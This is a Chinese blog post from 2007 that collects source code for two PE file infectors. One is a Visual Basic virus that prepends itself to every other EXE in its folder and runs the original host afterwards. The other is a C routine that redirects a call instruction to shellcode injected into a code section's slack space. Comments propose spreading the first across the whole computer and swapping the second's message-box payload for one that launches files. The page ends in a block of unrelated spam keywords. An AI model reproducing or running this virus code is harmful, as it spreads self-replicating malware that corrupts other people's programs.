• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            elva

            感染EXE

            收集兩篇感染exe的文章,有時間了把它寫出來

            VB:

            Option Explicit
            Private Victim As String '要感染的文件的名字
            Private HostLen As Long '要感染的文件的大小
            Private vbArray() As Byte '病毒的代碼
            Private hArray() As Byte '要感染的文件的代碼
            Private lenght As Long
            Private MySize As Integer '病毒的大小

            Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
            Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
            Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
            Private iResult As Long
            Private hProg As Long
            Private idProg As Long
            Private iExit As Long
            Const STILL_ACTIVE As Long = &H103
            Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

            Private Sub form_Initialize()
            Dim i As Long
            On Error GoTo vbVerror '出錯處理

            '原理:將生成病毒文件的代碼讀出,粘在要被感染的文件的后面。
            Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
            As #1
            ReDim MyArray(LOF(1) - 1)
            MySize = LOF(1)
            ReDim vbArray(MySize)
            Get #1, 1, vbArray
            Close #1
            '這是在讀自己的代碼


            Victim = Dir(App.Path & "\" & "*.EXE") '隨便選一個文件(目前只是在病毒所在的目錄下隨機選一個,將來你可以修改,讓它不斷的循環搜索計算機上的所有文件。)
            While Victim <> ""

            If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
            Open App.Path & "\" & Victim For Binary Access Read As #1
            ReDim hArray(LOF(1))
            Get #1, 1, hArray
            Close #1
            '讀出病毒自身的代碼


            If hArray(&H69) <> &H4D Then

            i = hArray(&H3C)
            If hArray(i) = &H50 Then
            Open App.Path & "\" & Victim For Binary Access Write As #1
            Put #1, , vbArray
            Put #1, MySize, hArray
            Close #1
            End If '要保證被感染的不是空文件(不是圈套)
            End If
            End If
            '讀出準備被感染的文件的代碼

            Victim = Dir() 'Next

            Wend

            '下面的工作是為了保證病毒不會重復感染一個文件,也不會自我感染。

            Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
            lenght = LOF(1) - MySize
            If lenght <> 0 Then
            ReDim vbArray(lenght - 1)
            Get #1, MySize, vbArray
            Close #1

            Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
            Put #1, , vbArray
            Close #1


            idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
            hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
            GetExitCodeProcess hProg, iExit
            Do While iExit = STILL_ACTIVE
            DoEvents
            GetExitCodeProcess hProg, iExit
            Loop
            Kill App.Path & "\" & App.EXEName & ".eve"

            Else
            Close #1

            End If

            End

            vbVerror: '出錯處理,空著就可以了

            End Sub



            VC:

            /**************************************************************
            * 函數:InjectCode
            * 參數:char szHostFile[]--待感染的exe文件路徑

            * 功能:感染一個exe程序,運行顯示“金豬拜年”的MessageBox
            * 從代碼節開始搜索,替換第一個發現的call api的指令
            * 把目標代碼插入代碼節的尾部
            * 代碼僅供演示之用,沒有做過多的錯誤處理
            * 感染當前hello.exe,插入一段彈出對話框代碼(當然你可以修改成啟動文件的代碼,嘿嘿)
            * coded by robinh00d
            * robinh00d_at_163.com
            * 編譯:cl epo.c
            **************************************************************/
            int InjectCode(char szHostFile[])
            {//#include <windows.h>
                PIMAGE_DOS_HEADER pImageDosHeader ;
                PIMAGE_NT_HEADERS pImageNtHeaders ;
                PIMAGE_SECTION_HEADER pImageSectionHeader;
                unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
                                        "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
                                        "\x8d\x83\x30\x10\x40\x00\x50\x50"
                                        "\x6a\x00\xb8\x78\x56\x34\x12\xff"
                                        "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
                                        "\x00\x90\xBD\xF0\xD6\xED\xB0\xDD"
                                        "\xC4\xEA\x00";
                HANDLE hFile ;
                HANDLE hMap ;
                LPVOID pMapping ;
                DWORD dwGapSize ;
                unsigned char *pGapEntry ;
                int i ;
                PROC MsgBox ;
                DWORD OldEntry ;
                int x = 0x18 ;
                int vir_len ;
                unsigned char *pSearch ;
                DWORD *dwCallNextAddr ;
                DWORD *dwCallDataOffset ;
                DWORD *dwCallDataAddr ;
                DWORD dwCallData ;
                DWORD dwCodeDistance ;
                DWORD *dwJmpAddr ;
                DWORD dwJmpData ;
                DWORD dwJmpVA ;

                //:::
                hFile = CreateFile(szHostFile,
                                    FILE_SHARE_READ|FILE_SHARE_WRITE,
                                    FILE_SHARE_READ|FILE_SHARE_WRITE,
                                    NULL,
                                    OPEN_EXISTING,
                                    FILE_ATTRIBUTE_NORMAL,
                                    NULL) ;
                                   
                if (hFile==INVALID_HANDLE_VALUE)
                {
                    return -1 ;
                }
               
                hMap = CreateFileMapping(hFile,
                                        NULL,
                                        PAGE_READWRITE,
                                        0,
                                        0,
                                        NULL) ;
                if (!hMap)
                    return -1 ;
               
                pMapping = MapViewOfFile(hMap,
                                    FILE_MAP_ALL_ACCESS,
                                    0,
                                    0,
                                    0) ;
                if (!pMapping)
                    return -1 ;
               
                pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
                if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
                {
                    pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
                    if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
                    {
                        pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                                        pImageDosHeader->e_lfanew+
                                                                        sizeof(IMAGE_NT_HEADERS)) ;
                        dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader-

            >Misc.VirtualSize ;
                       
                        if (sizeof(thunkcode)>dwGapSize)
                            goto Close ;
                           
                        pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                                        (DWORD)pMapping+
                                                        pImageSectionHeader->Misc.VirtualSize) ;
                       
                        OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                                    pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

                        MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

                        //修改為當前系統的MessageBoxA地址
                        for (i=3;i>=0;i--)
                        {
                            thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                            x -= 8 ;
                        }
                        x = 24 ;
                       
                        vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
                       
                        pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                    (DWORD)pMapping) ;
                                   
                        //:::搜索call指令(0xe8)
                        for (i=0;i<vir_len;i++)
                        {
                            if (pSearch[i]==0xe8)
                            {
                                dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                                dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                                dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                                dwJmpVA = (DWORD)dwJmpAddr-
                                            ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                            pImageNtHeaders->OptionalHeader.ImageBase+
                                            pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                                dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                                if ((*dwJmpAddr&0xffff)==0x25ff)
                                {
                                    dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                                    *dwCallDataAddr = dwCodeDistance ;
                                    for (i=3;i>=0;i--)
                                    {
                                        thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                                        x -= 8 ;
                                    }
                                    for (i=0;i<sizeof(thunkcode);i++)
                                    {
                                        pGapEntry[i] = thunkcode[i] ;
                                    }
                                    break ;
                                }
                            }
                           
                        }
                       
                    }
                }

            Close:
                UnmapViewOfFile(pMapping) ;
                CloseHandle(hMap) ;
                CloseHandle(hFile) ;
               
                return 0 ;
            }

            posted on 2007-10-08 14:21 葉子 閱讀(1053) 評論(0)  編輯 收藏 引用 所屬分類: 技術研究

            日本久久中文字幕| 久久99精品国产麻豆蜜芽| 国产精品久久久天天影视香蕉 | 久久99热这里只有精品66| 99久久精品国产一区二区蜜芽| 精品久久久久久中文字幕人妻最新| 久久午夜夜伦鲁鲁片免费无码影视| 亚洲国产成人精品女人久久久 | 久久人人爽人人爽人人片AV高清| 亚洲国产成人精品91久久久 | 久久九九免费高清视频| 成人精品一区二区久久| 国产综合免费精品久久久| 精品国产青草久久久久福利| 久久精品这里只有精99品| 狠狠色丁香婷婷久久综合| 一本色道久久99一综合| 亚洲精品乱码久久久久久按摩| 蜜臀av性久久久久蜜臀aⅴ| 狠狠色丁香婷婷综合久久来 | 久久亚洲精品中文字幕三区| 情人伊人久久综合亚洲| 久久婷婷五月综合成人D啪| 久久99久国产麻精品66| 97久久天天综合色天天综合色hd | 国产激情久久久久影院老熟女| 欧洲国产伦久久久久久久 | 亚洲国产精品婷婷久久| 亚洲第一永久AV网站久久精品男人的天堂AV | 狠狠人妻久久久久久综合| 亚洲欧洲久久久精品| 无码精品久久久久久人妻中字| 久久精品国产亚洲一区二区| 亚洲精品无码专区久久同性男| 色欲久久久天天天综合网精品| 国产99久久久国产精免费| 久久人妻无码中文字幕| 国产午夜福利精品久久| 新狼窝色AV性久久久久久| 久久国产精品二国产精品| 99精品国产在热久久|